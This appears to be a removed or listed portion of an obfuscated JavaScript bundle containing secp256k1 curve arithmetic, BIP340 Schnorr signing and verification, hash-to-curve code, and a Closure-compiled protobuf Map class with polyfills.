- const _0x17709e = _0x2b9c75(219);
- const _0x324ebf = _0x2b9c75(5134);
- const _0x410a16 = _0x2b9c75(9082);
- const _0x25c387 = BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f");
- const _0xc688db = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");
- const _0x278cbf = BigInt(1);
- const _0x58e3a2 = BigInt(2);
- const _0x5e3acd = (_0x700aa, _0x519b1d) => (_0x700aa + _0x519b1d / _0x58e3a2) / _0x519b1d;
- function _0x57fe93(_0x290b57) {
- const _0x35aeca = _0x25c387;
- const _0x2150d1 = BigInt(3);
- const _0x5f2d9d = BigInt(6);
- const _0x1e1562 = BigInt(11);
- const _0x2fe81e = BigInt(22);
- const _0x1f5d71 = BigInt(23);
- const _0x248924 = BigInt(44);
- const _0xe9e67 = BigInt(88);
- const _0x3a7acd = _0x290b57 * _0x290b57 * _0x290b57 % _0x35aeca;
- const _0x3aa5b8 = _0x3a7acd * _0x3a7acd * _0x290b57 % _0x35aeca;
- const _0x2eebf2 = (0, _0x748af7.pow2)(_0x3aa5b8, _0x2150d1, _0x35aeca) * _0x3aa5b8 % _0x35aeca;
- const _0x2f28ff = (0, _0x748af7.pow2)(_0x2eebf2, _0x2150d1, _0x35aeca) * _0x3aa5b8 % _0x35aeca;
- const _0x1e687f = (0, _0x748af7.pow2)(_0x2f28ff, _0x58e3a2, _0x35aeca) * _0x3a7acd % _0x35aeca;
- const _0x22caed = (0, _0x748af7.pow2)(_0x1e687f, _0x1e1562, _0x35aeca) * _0x1e687f % _0x35aeca;
- const _0x44d69b = (0, _0x748af7.pow2)(_0x22caed, _0x2fe81e, _0x35aeca) * _0x22caed % _0x35aeca;
- const _0x579266 = (0, _0x748af7.pow2)(_0x44d69b, _0x248924, _0x35aeca) * _0x44d69b % _0x35aeca;
- const _0x3bd861 = (0, _0x748af7.pow2)(_0x579266, _0xe9e67, _0x35aeca) * _0x579266 % _0x35aeca;
- const _0x3af259 = (0, _0x748af7.pow2)(_0x3bd861, _0x248924, _0x35aeca) * _0x44d69b % _0x35aeca;
- const _0x4626d0 = (0, _0x748af7.pow2)(_0x3af259, _0x2150d1, _0x35aeca) * _0x3aa5b8 % _0x35aeca;
- const _0x39e927 = (0, _0x748af7.pow2)(_0x4626d0, _0x1f5d71, _0x35aeca) * _0x22caed % _0x35aeca;
- const _0x141426 = (0, _0x748af7.pow2)(_0x39e927, _0x5f2d9d, _0x35aeca) * _0x3a7acd % _0x35aeca;
- const _0x52462e = (0, _0x748af7.pow2)(_0x141426, _0x58e3a2, _0x35aeca);
- if (!_0x2914e7.eql(_0x2914e7.sqr(_0x52462e), _0x290b57)) {
- throw new Error("Cannot find square root");
- }
- return _0x52462e;
- }
- const _0x2914e7 = (0, _0x748af7.Field)(_0x25c387, undefined, undefined, {
- sqrt: _0x57fe93
- });
- _0x6d1c6.secp256k1 = (0, _0x410a16.createCurve)({
- a: BigInt(0),
- b: BigInt(7),
- Fp: _0x2914e7,
- n: _0xc688db,
- Gx: BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),
- Gy: BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),
- h: BigInt(1),
- lowS: true,
- endo: {
- beta: BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),
- splitScalar: _0xf16377 => {
- const _0x4ab323 = _0xc688db;
- const _0x8b22e6 = BigInt("0x3086d221a7d46bcde86c90e49284eb15");
- const _0x1f4215 = -_0x278cbf * BigInt("0xe4437ed6010e88286f547fa90abfe4c3");
- const _0x432bf8 = BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8");
- const _0x1e9de4 = _0x8b22e6;
- const _0x82bfa2 = BigInt("0x100000000000000000000000000000000");
- const _0x1645d0 = _0x5e3acd(_0x1e9de4 * _0xf16377, _0x4ab323);
- const _0x2c6bb8 = _0x5e3acd(-_0x1f4215 * _0xf16377, _0x4ab323);
- let _0x54a08a = (0, _0x748af7.mod)(_0xf16377 - _0x1645d0 * _0x8b22e6 - _0x2c6bb8 * _0x432bf8, _0x4ab323);
- let _0x116be8 = (0, _0x748af7.mod)(-_0x1645d0 * _0x1f4215 - _0x2c6bb8 * _0x1e9de4, _0x4ab323);
- const _0x12f423 = _0x54a08a > _0x82bfa2;
- const _0x43434d = _0x116be8 > _0x82bfa2;
- if (_0x12f423 && (_0x54a08a = _0x4ab323 - _0x54a08a), _0x43434d && (_0x116be8 = _0x4ab323 - _0x116be8), _0x54a08a > _0x82bfa2 || _0x116be8 > _0x82bfa2) {
- throw new Error("splitScalar: Endomorphism failed, k=" + _0xf16377);
- }
- return {
- k1neg: _0x12f423,
- k1: _0x54a08a,
- k2neg: _0x43434d,
- k2: _0x116be8
- };
- }
- }
- }, _0x14dd24.sha256);
- const _0x3c67de = BigInt(0);
- const _0x12febf = _0x5c98c3 => "bigint" == typeof _0x5c98c3 && _0x3c67de < _0x5c98c3 && _0x5c98c3 < _0x25c387;
- const _0x2e6ebd = _0x347e38 => "bigint" == typeof _0x347e38 && _0x3c67de < _0x347e38 && _0x347e38 < _0xc688db;
- const _0xfa4728 = {};
- function _0x417e30(_0x40cdc4, ..._0x338569) {
- let _0x4d4412 = _0xfa4728[_0x40cdc4];
- if (undefined === _0x4d4412) {
- const _0x5d0268 = (0, _0x14dd24.sha256)(Uint8Array.from(_0x40cdc4, _0x4cd53d => _0x4cd53d.charCodeAt(0)));
- _0x4d4412 = (0, _0x17709e.concatBytes)(_0x5d0268, _0x5d0268);
- _0xfa4728[_0x40cdc4] = _0x4d4412;
- }
- return (0, _0x14dd24.sha256)((0, _0x17709e.concatBytes)(_0x4d4412, ..._0x338569));
- }
- const _0x41386a = _0x320908 => _0x320908.toRawBytes(true).slice(1);
- const _0x37b276 = _0x54515d => (0, _0x17709e.numberToBytesBE)(_0x54515d, 32);
- const _0x20008e = _0x5193fc => (0, _0x748af7.mod)(_0x5193fc, _0x25c387);
- const _0x485596 = _0x1dd854 => (0, _0x748af7.mod)(_0x1dd854, _0xc688db);
- const _0x4bd5b8 = _0x6d1c6.secp256k1.ProjectivePoint;
- const _0x302fc3 = (_0x390063, _0x2f35da, _0x1f5aff) => _0x4bd5b8.BASE.multiplyAndAddUnsafe(_0x390063, _0x2f35da, _0x1f5aff);
- function _0x49183a(_0x309cbc) {
- let _0x4316d5 = _0x6d1c6.secp256k1.utils.normPrivateKeyToScalar(_0x309cbc);
- let _0x4aa67b = _0x4bd5b8.fromPrivateKey(_0x4316d5);
- return {
- scalar: _0x4aa67b.hasEvenY() ? _0x4316d5 : _0x485596(-_0x4316d5),
- bytes: _0x41386a(_0x4aa67b)
- };
- }
- function _0xb7a6ba(_0x19af9c) {
- if (!_0x12febf(_0x19af9c)) {
- throw new Error("bad x: need 0 < x < p");
- }
- const _0x2090b2 = _0x20008e(_0x19af9c * _0x19af9c);
- let _0x1ab2e9 = _0x57fe93(_0x20008e(_0x2090b2 * _0x19af9c + BigInt(7)));
- _0x1ab2e9 % _0x58e3a2 !== _0x3c67de && (_0x1ab2e9 = _0x20008e(-_0x1ab2e9));
- const _0x130f36 = new _0x4bd5b8(_0x19af9c, _0x1ab2e9, _0x278cbf);
- _0x130f36.assertValidity();
- return _0x130f36;
- }
- function _0x5536ce(..._0x2d1acc) {
- return _0x485596((0, _0x17709e.bytesToNumberBE)(_0x417e30("BIP0340/challenge", ..._0x2d1acc)));
- }
- function _0x40fa96(_0x4f95b3, _0x47c666, _0xf8c513) {
- const _0x4e9793 = (0, _0x17709e.ensureBytes)("signature", _0x4f95b3, 64);
- const _0x40dbad = (0, _0x17709e.ensureBytes)("message", _0x47c666);
- const _0x5e7848 = (0, _0x17709e.ensureBytes)("publicKey", _0xf8c513, 32);
- try {
- const _0x510fcc = _0xb7a6ba((0, _0x17709e.bytesToNumberBE)(_0x5e7848));
- const _0x34ce23 = (0, _0x17709e.bytesToNumberBE)(_0x4e9793.subarray(0, 32));
- if (!_0x12febf(_0x34ce23)) {
- return false;
- }
- const _0x1377a0 = (0, _0x17709e.bytesToNumberBE)(_0x4e9793.subarray(32, 64));
- if (!_0x2e6ebd(_0x1377a0)) {
- return false;
- }
- const _0x2c596a = _0x5536ce(_0x37b276(_0x34ce23), _0x41386a(_0x510fcc), _0x40dbad);
- const _0x43d303 = _0x302fc3(_0x510fcc, _0x1377a0, _0x485596(-_0x2c596a));
- return !(!_0x43d303 || !_0x43d303.hasEvenY() || _0x43d303.toAffine().x !== _0x34ce23);
- } catch (_0x591bfc) {
- return false;
- }
- }
- _0x6d1c6.schnorr = {
- getPublicKey: function (_0x5cd6cc) {
- return _0x49183a(_0x5cd6cc).bytes;
- },
- sign: function (_0xcc8bfd, _0x1fda03, _0x269cca = (0, _0x507c28.randomBytes)(32)) {
- const _0x3e0de2 = (0, _0x17709e.ensureBytes)("message", _0xcc8bfd);
- const {
- bytes: _0x2461b5,
- scalar: _0x57ce64
- } = _0x49183a(_0x1fda03);
- const _0x26e6fb = (0, _0x17709e.ensureBytes)("auxRand", _0x269cca, 32);
- const _0x222b7c = _0x37b276(_0x57ce64 ^ (0, _0x17709e.bytesToNumberBE)(_0x417e30("BIP0340/aux", _0x26e6fb)));
- const _0x320af3 = _0x417e30("BIP0340/nonce", _0x222b7c, _0x2461b5, _0x3e0de2);
- const _0x4fcfb9 = _0x485596((0, _0x17709e.bytesToNumberBE)(_0x320af3));
- if (_0x4fcfb9 === _0x3c67de) {
- throw new Error("sign failed: k is zero");
- }
- const {
- bytes: _0x39d1ac,
- scalar: _0x551d5a
- } = _0x49183a(_0x4fcfb9);
- const _0x4732f7 = _0x5536ce(_0x39d1ac, _0x2461b5, _0x3e0de2);
- const _0x261934 = new Uint8Array(64);
- if (_0x261934.set(_0x39d1ac, 0), _0x261934.set(_0x37b276(_0x485596(_0x551d5a + _0x4732f7 * _0x57ce64)), 32), !_0x40fa96(_0x261934, _0x3e0de2, _0x2461b5)) {
- throw new Error("sign: Invalid signature produced");
- }
- return _0x261934;
- },
- verify: _0x40fa96,
- utils: {
- randomPrivateKey: _0x6d1c6.secp256k1.utils.randomPrivateKey,
- lift_x: _0xb7a6ba,
- pointToBytes: _0x41386a,
- numberToBytesBE: _0x17709e.numberToBytesBE,
- bytesToNumberBE: _0x17709e.bytesToNumberBE,
- taggedHash: _0x417e30,
- mod: _0x748af7.mod
- }
- };
- const _0x2c73ab = _0x324ebf.isogenyMap(_0x2914e7, [["0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa8c7", "0x7d3d4c80bc321d5b9f315cea7fd44c5d595d2fc0bf63b92dfff1044f17c6581", "0x534c328d23f234e6e2a413deca25caece4506144037c40314ecbd0b53d9dd262", "0x8e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38e38daaaaa88c"], ["0xd35771193d94918a9ca34ccbb7b640dd86cd409542f8487d9fe6b745781eb49b", "0xedadc6f64383dc1df7c4b2d51b54225406d36b641f5e41bbc52a56612a8c6d14", "0x0000000000000000000000000000000000000000000000000000000000000001"], ["0x4bda12f684bda12f684bda12f684bda12f684bda12f684bda12f684b8e38e23c", "0xc75e0c32d5cb7c0fa9d0a54b12a0a6d5647ab046d686da6fdffc90fc201d71a3", "0x29a6194691f91a73715209ef6512e576722830a201be2018a765e85a9ecee931", "0x2f684bda12f684bda12f684bda12f684bda12f684bda12f684bda12f38e38d84"], ["0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffff93b", "0x7a06534bb8bdb49fd5e9e6632722c2989467c1bfc8e8d978dfb425d2685c2573", "0x6484aa716545ca2cf3a70c3fa8fe337e0a3d21162f0d6299a7bf8192bfd2a76f", "0x0000000000000000000000000000000000000000000000000000000000000001"]].map(_0x271ad7 => _0x271ad7.map(_0x5322da => BigInt(_0x5322da))));
- const _0x2f8811 = (0, _0x3d78e1.mapToCurveSimpleSWU)(_0x2914e7, {
- A: BigInt("0x3f8731abdd661adca08a5558f0f5d272e953d363cb6f0e5d405447c01a444533"),
- B: BigInt("1771"),
- Z: _0x2914e7.create(BigInt("-11"))
- });
- _0x9c43a4 = _0x324ebf.createHasher(_0x6d1c6.secp256k1.ProjectivePoint, _0x36571d => {
- const {
- x: _0x1e9cd3,
- y: _0x589f34
- } = _0x2f8811(_0x2914e7.create(_0x36571d[0]));
- return _0x2c73ab(_0x1e9cd3, _0x589f34);
- }, {
- DST: "secp256k1_XMD:SHA-256_SSWU_RO_",
- encodeDST: "secp256k1_XMD:SHA-256_SSWU_NU_",
- p: _0x2914e7.ORDER,
- m: 1,
- k: 128,
- expand: "xmd",
- hash: _0x14dd24.sha256
- });
- _0x6d1c6.hashToCurve = _0x9c43a4.hashToCurve;
- _0x6d1c6.encodeToCurve = _0x9c43a4.encodeToCurve;
- },
- 5595: function (_0x1eab68, _0x232b63, _0x2b9c5a) {
- var _0x2339a8 = "function" == typeof Object.defineProperties ? Object.defineProperty : function (_0x3f3a44, _0x370629, _0x18ce62) {
- _0x3f3a44 != Array.prototype && _0x3f3a44 != Object.prototype && (_0x3f3a44[_0x370629] = _0x18ce62.value);
- };
- var _0x3c31c8 = "undefined" != typeof window && window === this ? this : undefined !== _0x2b9c5a.g && null != _0x2b9c5a.g ? _0x2b9c5a.g : this;
- function _0x25ecba() {
- _0x25ecba = function () {};
- _0x3c31c8.Symbol || (_0x3c31c8.Symbol = _0x30d66a);
- }
- function _0x29d87e(_0x5edc71, _0x5abf27) {
- this.a = _0x5edc71;
- _0x2339a8(this, "description", {
- configurable: true,
- writable: true,
- value: _0x5abf27
- });
- }
- _0x29d87e.prototype.toString = function () {
- return this.a;
- };
- var _0x5345b2;
- _0x5345b2 = 0;
- var _0x30d66a = function _0x26a6b6(_0x12191b) {
- if (this instanceof _0x26a6b6) {
- throw new TypeError("Symbol is not a constructor");
- }
- return new _0x29d87e("jscomp_symbol_" + (_0x12191b || "") + "_" + _0x5345b2++, _0x12191b);
- };
- function _0x3568e6() {
- _0x25ecba();
- var _0x3ada23 = _0x3c31c8.Symbol.iterator;
- _0x3ada23 || (_0x3ada23 = _0x3c31c8.Symbol.iterator = _0x3c31c8.Symbol("Symbol.iterator"));
- "function" != typeof Array.prototype[_0x3ada23] && _0x2339a8(Array.prototype, _0x3ada23, {
- configurable: true,
- writable: true,
- value: function () {
- return function (_0x4ea74e) {
- _0x3568e6();
- (_0x4ea74e = {
- next: _0x4ea74e
- })[_0x3c31c8.Symbol.iterator] = function () {
- return this;
- };
- return _0x4ea74e;
- }(function (_0x22d564) {
- var _0x38c4c3 = 0;
- return function () {
- return _0x38c4c3 < _0x22d564.length ? {
- done: false,
- value: _0x22d564[_0x38c4c3++]
- } : {
- done: true
- };
- };
- }(this));
- }
- });
- _0x3568e6 = function () {};
- }
- !function (_0x5200ca, _0x51fb77) {
- if (_0x51fb77) {
- var _0x2478ad = _0x3c31c8;
- _0x5200ca = _0x5200ca.split(".");
- for (var _0x55bf95 = 0; _0x55bf95 < _0x5200ca.length - 1; _0x55bf95++) {
- var _0x1d276c = _0x5200ca[_0x55bf95];
- _0x1d276c in _0x2478ad || (_0x2478ad[_0x1d276c] = {});
- _0x2478ad = _0x2478ad[_0x1d276c];
- }
- (_0x51fb77 = _0x51fb77(_0x55bf95 = _0x2478ad[_0x5200ca = _0x5200ca[_0x5200ca.length - 1]])) != _0x55bf95 && null != _0x51fb77 && _0x2339a8(_0x2478ad, _0x5200ca, {
- configurable: true,
- writable: true,
- value: _0x51fb77
- });
- }
- }("Array.prototype.entries", function (_0x48ccb7) {
- return _0x48ccb7 || function () {
- return function (_0x289bcc, _0x16f8a7) {
- _0x3568e6();
- _0x289bcc instanceof String && (_0x289bcc += "");
- var _0x22abe0 = 0;
- var _0x3a6f7e = {
- next: function () {
- if (_0x22abe0 < _0x289bcc.length) {
- var _0xeb43be = _0x22abe0++;
- return {
- value: _0x16f8a7(_0xeb43be, _0x289bcc[_0xeb43be]),
- done: false
- };
- }
- _0x3a6f7e.next = function () {
- return {
- done: true,
- value: undefined
- };
- };
- return _0x3a6f7e.next();
- }
- };
- _0x3a6f7e[Symbol.iterator] = function () {
- return _0x3a6f7e;
- };
- return _0x3a6f7e;
- }(this, function (_0x2b9abb, _0xd25f21) {
- return [_0x2b9abb, _0xd25f21];
- });
- };
- });
- var _0x25357c = this || self;
- function _0x4851be(_0x1d8f40, _0x5001cc, _0x8cabe) {
- _0x1d8f40 = _0x1d8f40.split(".");
- _0x8cabe = _0x8cabe || _0x25357c;
- _0x1d8f40[0] in _0x8cabe || undefined === _0x8cabe.execScript || _0x8cabe.execScript("var " + _0x1d8f40[0]);
- for (var _0x2264ac; _0x1d8f40.length && (_0x2264ac = _0x1d8f40.shift());) {
- _0x1d8f40.length || undefined === _0x5001cc ? _0x8cabe = _0x8cabe[_0x2264ac] && _0x8cabe[_0x2264ac] !== Object.prototype[_0x2264ac] ? _0x8cabe[_0x2264ac] : _0x8cabe[_0x2264ac] = {} : _0x8cabe[_0x2264ac] = _0x5001cc;
- }
- }
- function _0xd2c509(_0xe8138e) {
- var _0x429858 = typeof _0xe8138e;
- if ("object" == _0x429858) {
- if (!_0xe8138e) {
- return "null";
- }
- if (_0xe8138e instanceof Array) {
- return "array";
- }
- if (_0xe8138e instanceof Object) {
- return _0x429858;
- }
- var _0xbd04b = Object.prototype.toString.call(_0xe8138e);
- if ("[object Window]" == _0xbd04b) {
- return "object";
- }
- if ("[object Array]" == _0xbd04b || "number" == typeof _0xe8138e.length && undefined !== _0xe8138e.splice && undefined !== _0xe8138e.propertyIsEnumerable && !_0xe8138e.propertyIsEnumerable("splice")) {
- return "array";
- }
- if ("[object Function]" == _0xbd04b || undefined !== _0xe8138e.call && undefined !== _0xe8138e.propertyIsEnumerable && !_0xe8138e.propertyIsEnumerable("call")) {
- return "function";
- }
- } else {
- if ("function" == _0x429858 && undefined === _0xe8138e.call) {
- return "object";
- }
- }
- return _0x429858;
- }
- function _0x9a5ce6(_0x50372a) {
- var _0x569bfe = typeof _0x50372a;
- return "object" == _0x569bfe && null != _0x50372a || "function" == _0x569bfe;
- }
- var _0x26ea13 = "constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");
- var _0x3140f5 = Array.prototype.forEach ? function (_0x19ba4c, _0x786e20) {
- Array.prototype.forEach.call(_0x19ba4c, _0x786e20, undefined);
- } : function (_0x217680, _0x239acb) {
- for (var _0x2bf9d5 = _0x217680.length, _0x1f3ee8 = "string" == typeof _0x217680 ? _0x217680.split("") : _0x217680, _0x1b6aa5 = 0; _0x1b6aa5 < _0x2bf9d5; _0x1b6aa5++) {
- _0x1b6aa5 in _0x1f3ee8 && _0x239acb.call(undefined, _0x1f3ee8[_0x1b6aa5], _0x1b6aa5, _0x217680);
- }
- };
- var _0x478a93 = Array.prototype.map ? function (_0x47bfcf, _0x2a3ccf) {
- return Array.prototype.map.call(_0x47bfcf, _0x2a3ccf, undefined);
- } : function (_0x471f7d, _0x57b054) {
- for (var _0x878545 = _0x471f7d.length, _0x53d3c5 = Array(_0x878545), _0x682ab = "string" == typeof _0x471f7d ? _0x471f7d.split("") : _0x471f7d, _0x2fde17 = 0; _0x2fde17 < _0x878545; _0x2fde17++) {
- _0x2fde17 in _0x682ab && (_0x53d3c5[_0x2fde17] = _0x57b054.call(undefined, _0x682ab[_0x2fde17], _0x2fde17, _0x471f7d));
- }
- return _0x53d3c5;
- };
- function _0xcd2c2f(_0x2f0bcb, _0x167dee, _0x48a8ff) {
- return 2 >= arguments.length ? Array.prototype.slice.call(_0x2f0bcb, _0x167dee) : Array.prototype.slice.call(_0x2f0bcb, _0x167dee, _0x48a8ff);
- }
- function _0x4e3779(_0x3f0c3c, _0x44aefc, _0x4b078f, _0x198189) {
- var _0x11b1de = "Assertion failed";
- if (_0x4b078f) {
- _0x11b1de += ": " + _0x4b078f;
- var _0x490f8b = _0x198189;
- } else {
- _0x3f0c3c && (_0x11b1de += ": " + _0x3f0c3c, _0x490f8b = _0x44aefc);
- }
- throw Error(_0x11b1de, _0x490f8b || []);
- }
- function _0x53e92a(_0x4b096d, _0x28c51e, _0x2b0074) {
- for (var _0x44b783 = [], _0x14321f = 2; _0x14321f < arguments.length; ++_0x14321f) {
- _0x44b783[_0x14321f - 2] = arguments[_0x14321f];
- }
- _0x4b096d || _0x4e3779("", null, _0x28c51e, _0x44b783);
- return _0x4b096d;
- }
- function _0x2e10b2(_0x54d274, _0x29cb3f) {
- for (var _0x463351 = [], _0x366290 = 1; _0x366290 < arguments.length; ++_0x366290) {
- _0x463351[_0x366290 - 1] = arguments[_0x366290];
- }
- throw Error("Failure" + (_0x54d274 ? ": " + _0x54d274 : ""), _0x463351);
- }
- function _0x4c857b(_0x3ddd11, _0x182720, _0x5b60a2, _0x1b9381) {
- for (var _0x2e006c = [], _0x1d2b52 = 3; _0x1d2b52 < arguments.length; ++_0x1d2b52) {
- _0x2e006c[_0x1d2b52 - 3] = arguments[_0x1d2b52];
- }
- _0x3ddd11 instanceof _0x182720 || _0x4e3779("Expected instanceof %s but got %s.", [_0x57e00f(_0x182720), _0x57e00f(_0x3ddd11)], _0x5b60a2, _0x2e006c);
- }
- function _0x57e00f(_0x1824b2) {
- return _0x1824b2 instanceof Function ? _0x1824b2.displayName || _0x1824b2.name || "unknown type name" : _0x1824b2 instanceof Object ? _0x1824b2.constructor.displayName || _0x1824b2.constructor.name || Object.prototype.toString.call(_0x1824b2) : null === _0x1824b2 ? "null" : typeof _0x1824b2;
- }
- function _0x31e943(_0x141481, _0x5914b9) {
- if (this.c = _0x141481, this.b = _0x5914b9, this.a = {}, this.arrClean = true, 0 < this.c.length) {
- for (_0x141481 = 0; _0x141481 < this.c.length; _0x141481++) {
- var _0x78703a = (_0x5914b9 = this.c[_0x141481])[0];
- this.a[_0x78703a.toString()] = new _0x4f8117(_0x78703a, _0x5914b9[1]);
- }
- this.arrClean = true;
- }
- }
- function _0x34648d(_0x35f9e6) {
- this.a = 0;
- this.b = _0x35f9e6;
- }
- function _0x1e35fd(_0x58402e, _0x454532) {
- return _0x58402e.b ? (_0x454532.a || (_0x454532.a = new _0x58402e.b(_0x454532.value)), _0x454532.a) : _0x454532.value;
- }
- function _0x564bcb(_0x41ecf3) {
- _0x41ecf3 = _0x41ecf3.a;
- var _0x452f8b;
- var _0xca0d79 = [];
- for (_0x452f8b in _0x41ecf3) Object.prototype.hasOwnProperty.call(_0x41ecf3, _0x452f8b) && _0xca0d79.push(_0x452f8b);
- return _0xca0d79;
- }
- function _0x4f8117(_0x47bb2f, _0x59a146) {
- this.key = _0x47bb2f;
- this.value = _0x59a146;
- this.a = undefined;
- }
- function _0x191f1a(_0x3e1a8a) {
- if (8192 >= _0x3e1a8a.length) {
- return String.fromCharCode.apply(null, _0x3e1a8a);
- }
- for (var _0x21e1d4 = "", _0x4b4094 = 0; _0x4b4094 < _0x3e1a8a.length; _0x4b4094 += 8192) {
- _0x21e1d4 += String.fromCharCode.apply(null, _0xcd2c2f(_0x3e1a8a, _0x4b4094, _0x4b4094 + 8192));
- }
- return _0x21e1d4;
- }
- _0x4851be("jspb.Map", _0x31e943, undefined);
- _0x31e943.prototype.g = function () {
- if (this.arrClean) {
- if (this.b) {
- var _0x257739;
- var _0x27e5fd = this.a;
- for (_0x257739 in _0x27e5fd) if (Object.prototype.hasOwnProperty.call(_0x27e5fd, _0x257739)) {
- var _0x860dc9 = _0x27e5fd[_0x257739].a;
- _0x860dc9 && _0x860dc9.g();
- }
- }
- } else {
- for (this.c.length = 0, (_0x27e5fd = _0x564bcb(this)).sort(), _0x257739 = 0; _0x257739 < _0x27e5fd.length; _0x257739++) {
- var _0x21b9a8 = this.a[_0x27e5fd[_0x257739]];
- (_0x860dc9 = _0x21b9a8.a) && _0x860dc9.g();
- this.c.push([_0x21b9a8.key, _0x21b9a8.value]);
- }
- this.arrClean = true;
- }
- return this.c;
- };
- _0x31e943.prototype.toArray = _0x31e943.prototype.g;
- _0x31e943.prototype.Mc = function (_0x32e9b6, _0x301517) {
- for (var _0x450162 = this.g(), _0x5979a5 = [], _0x279b85 = 0; _0x279b85 < _0x450162.length; _0x279b85++) {
- var _0x1bca14 = this.a[_0x450162[_0x279b85][0].toString()];
- _0x1e35fd(this, _0x1bca14);
- var _0x29425a = _0x1bca14.a;
- _0x29425a ? (_0x53e92a(_0x301517), _0x5979a5.push([_0x1bca14.key, _0x301517(_0x32e9b6, _0x29425a)])) : _0x5979a5.push([_0x1bca14.key, _0x1bca14.value]);
- }
- return _0x5979a5;
- };
- _0x31e943.prototype.toObject = _0x31e943.prototype.Mc;
- _0x31e943.fromObject = function (_0x392446, _0x301c4d, _0x57d9e7) {
- _0x301c4d = new _0x31e943([], _0x301c4d);
- for (var _0x25baa4 = 0; _0x25baa4 < _0x392446.length; _0x25baa4++) {
- var _0x573278 = _0x392446[_0x25baa4][0];
- var _0x2258b3 = _0x57d9e7(_0x392446[_0x25baa4][1]);
- _0x301c4d.set(_0x573278, _0x2258b3);
- }
- return _0x301c4d;
- };
- _0x34648d.prototype.next = function () {
- return this.a < this.b.length ? {
- done: false,
- value: this.b[this.a++]
- } : {
- done: true,
- value: undefined
- };
- };
- "undefined" != typeof Symbol && (_0x34648d.prototype[Symbol.iterator] = function () {
- return this;
- });
- _0x31e943.prototype.Jb = function () {
- return _0x564bcb(this).length;
- };
- _0x31e943.prototype.getLength = _0x31e943.prototype.Jb;
- _0x31e943.prototype.clear = function () {
- this.a = {};
- this.arrClean = false;
- };
- _0x31e943.prototype.clear = _0x31e943.prototype.clear;
- _0x31e943.prototype.Cb = function (_0x438644) {
- _0x438644 = _0x438644.toString();
- var _0x3356ea = this.a.hasOwnProperty(_0x438644);
- delete this.a[_0x438644];
- this.arrClean = false;
- return _0x3356ea;
- };
- _0x31e943.prototype.del = _0x31e943.prototype.Cb;
- _0x31e943.prototype.Eb = function () {
- var _0x20bc79 = [];
- var _0x5ab9f1 = _0x564bcb(this);
- _0x5ab9f1.sort();
- for (var _0x1ac659 = 0; _0x1ac659 < _0x5ab9f1.length; _0x1ac659++) {
- var _0x52ceca = this.a[_0x5ab9f1[_0x1ac659]];
- _0x20bc79.push([_0x52ceca.key, _0x52ceca.value]);
- }
- return _0x20bc79;
- };
- _0x31e943.prototype.getEntryList = _0x31e943.prototype.Eb;
- _0x31e943.prototype.entries = function () {
- var _0x1f8181 = [];
- var _0x172854 = _0x564bcb(this);
- _0x172854.sort();
- for (var _0x4d4c10 = 0; _0x4d4c10 < _0x172854.length; _0x4d4c10++) {
- var _0x46bfcc = this.a[_0x172854[_0x4d4c10]];
- _0x1f8181.push([_0x46bfcc.key, _0x1e35fd(this, _0x46bfcc)]);
- }
- return new _0x34648d(_0x1f8181);
- };
- _0x31e943.prototype.entries = _0x31e943.prototype.entries;
- _0x31e943.prototype.keys = function () {
- var _0x31085d = [];
- var _0x2427f6 = _0x564bcb(this);
- _0x2427f6.sort();
- for (var _0x135548 = 0; _0x135548 < _0x2427f6.length; _0x135548++) {
- _0x31085d.push(this.a[_0x2427f6[_0x135548]].key);
- }
- return new _0x34648d(_0x31085d);
- };
- _0x31e943.prototype.keys = _0x31e943.prototype.keys;
- _0x31e943.prototype.values = function () {
- var _0x3d5f81 = [];
- var _0x13146e = _0x564bcb(this);
- _0x13146e.sort();
- for (var _0x5c4eb4 = 0; _0x5c4eb4 < _0x13146e.length; _0x5c4eb4++) {
- _0x3d5f81.push(_0x1e35fd(this, this.a[_0x13146e[_0x5c4eb4]]));
- }
- return new _0x34648d(_0x3d5f81);
- };
- _0x31e943.prototype.values = _0x31e943.prototype.values;
- _0x31e943.prototype.forEach = function (_0x4b7822, _0x3565b2) {
- var _0x46697d = _0x564bcb(this);
- _0x46697d.sort();
- for (var _0x4df0e6 = 0; _0x4df0e6 < _0x46697d.length; _0x4df0e6++) {
- var _0x899e67 = this.a[_0x46697d[_0x4df0e6]];
- _0x4b7822.call(_0x3565b2, _0x1e35fd(this, _0x899e67), _0x899e67.key, this);
- }
- };
- _0x31e943.prototype.forEach = _0x31e943.prototype.forEach;
- _0x31e943.prototype.set = function (_0x2586ca, _0x511cc5) {
- var _0x53f32b = new _0x4f8117(_0x2586ca);
- this.b ? (_0x53f32b.a = _0x511cc5, _0x53f32b.value = _0x511cc5.g()) : _0x53f32b.value = _0x511cc5;
- this.a[_0x2586ca.toString()] = _0x53f32b;
- this.arrClean = false;
- return this;
- };
- _0x31e943.prototype.set = _0x31e943.prototype.set;
- _0x31e943.prototype.get = function (_0x5594bb) {
- _0x5594bb = this.a[_0x5594bb.toString()];
- if (_0x5594bb) {
- return _0x1e35fd(this, _0x5594bb);
- }
- };
- _0x31e943.prototype.get = _0x31e943.prototype.get;
- _0x31e943.prototype.has = function (_0x3542f5) {
- return _0x3542f5.toString() in this.a;
- };
- _0x31e943.prototype.has = _0x31e943.prototype.has;
- _0x31e943.prototype.Jc = function (_0x4fb458, _0x2646b5, _0x2746c5, _0x4cfe0e, _0x1d3cf9) {
- var _0x3d76bf = _0x564bcb(this);
- _0x3d76bf.sort();
- for (var _0x100d35 = 0; _0x100d35 < _0x3d76bf.length; _0x100d35++) {
- var _0x257792 = this.a[_0x3d76bf[_0x100d35]];
- _0x2646b5.Va(_0x4fb458);
- _0x2746c5.call(_0x2646b5, 1, _0x257792.key);
- this.b ? _0x4cfe0e.call(_0x2646b5, 2, _0x1e35fd(this, _0x257792), _0x1d3cf9) : _0x4cfe0e.call(_0x2646b5, 2, _0x257792.value);
- _0x2646b5.Ya();
- }
- };
- _0x31e943.prototype.serializeBinary = _0x31e943.prototype.Jc;
